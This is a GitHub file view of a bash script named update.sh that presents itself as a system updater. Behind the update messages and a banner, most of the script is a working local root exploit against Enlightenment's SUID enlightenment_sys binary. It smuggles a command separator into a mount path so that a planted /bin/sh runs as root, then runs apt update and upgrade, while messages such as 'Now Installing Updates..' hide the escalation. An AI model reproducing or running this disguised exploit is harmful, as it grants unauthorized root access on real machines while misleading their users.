-
Notifications
You must be signed in to change notification settings - Fork 0
/
update.sh
69 lines (67 loc) · 3.06 KB
/
update.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/bin/bash
echo -e "$UGreen Would you like to enter Update.sh ? $NC"
read TFY
if [ $TFY == "yes" ];
then
Black='\033[0;30m' # Black
Red='\033[0;31m' # Red
Green='\033[0;32m' # Green
Yellow='\033[0;33m' # Yellow
Blue='\033[0;34m' # Blue
Purple='\033[0;35m' # Purple
Cyan='\033[0;36m' # Cyan
Wh1te='\033[0;37m' # Wh1te
NC='\033[0m'
UBlue='\033[4;34m'
UBlack='\033[4;30m' # Black
URed='\033[4;31m' # Red
UGreen='\033[4;32m' # Green
UYellow='\033[4;33m' # Yellow
UBlue='\033[4;34m' # Blue
UPurple='\033[4;35m' # Purple
UCyan='\033[4;36m' # Cyan
UWhite='\033[4;37m' # White
echo -e "[!] Entering $UPurple Update Mode.. $NC "
sleep 1
clear
echo -e "$Yellow
__/\\\________/\\\_________________________/\\\________________________________________________________________________/\\\_________
_\/\\\_______\/\\\________________________\/\\\_______________________________________________________________________\/\\\_________
_\/\\\_______\/\\\____/\\\\\\\\\__________\/\\\_______________________/\\\____________________________________________\/\\\_________
_\/\\\_______\/\\\___/\\\/////\\\_________\/\\\____/\\\\\\\\\______/\\\\\\\\\\\______/\\\\\\\\___________/\\\\\\\\\\__\/\\\_________
_\/\\\_______\/\\\__\/\\\\\\\\\\_____/\\\\\\\\\___\////////\\\____\////\\\////_____/\\\/////\\\_________\/\\\//////___\/\\\\\\\\\\__
_\/\\\_______\/\\\__\/\\\//////_____/\\\////\\\_____/\\\\\\\\\\______\/\\\________/\\\\\\\\\\\__________\/\\\\\\\\\\__\/\\\/////\\\_
_\//\\\______/\\\___\/\\\__________\/\\\__\/\\\____/\\\/////\\\______\/\\\_/\\___\//\\///////___________\////////\\\__\/\\\___\/\\\_
__\///\\\\\\\\\/____\/\\\__________\//\\\\\\\/\\__\//\\\\\\\\/\\_____\//\\\\\_____\//\\\\\\\\\\___/\\\___/\\\\\\\\\\__\/\\\___\/\\\_
____\/////////______\///____________\///////\//____\////////\//_______\/////_______\//////////___\///___\//////////___\///____\///__
$NC"
echo "[~] Accessing Root ..."
(
#!/bin/bash
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
touch run.sh
chmod +x run.sh
echo "#!/bin/bash
apt update > /dev/null
clear
echo '[!] Updates installed .'
sleep 3
apt upgrade > /dev/null
clear
echo '[!] Upgrades installed. '
sleep 3 " > run.sh
echo "[!] Now Installing Updates.. "
echo "./run.sh " | ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
)
else
echo "[~] Proceeding to Alarm.sh.."
fi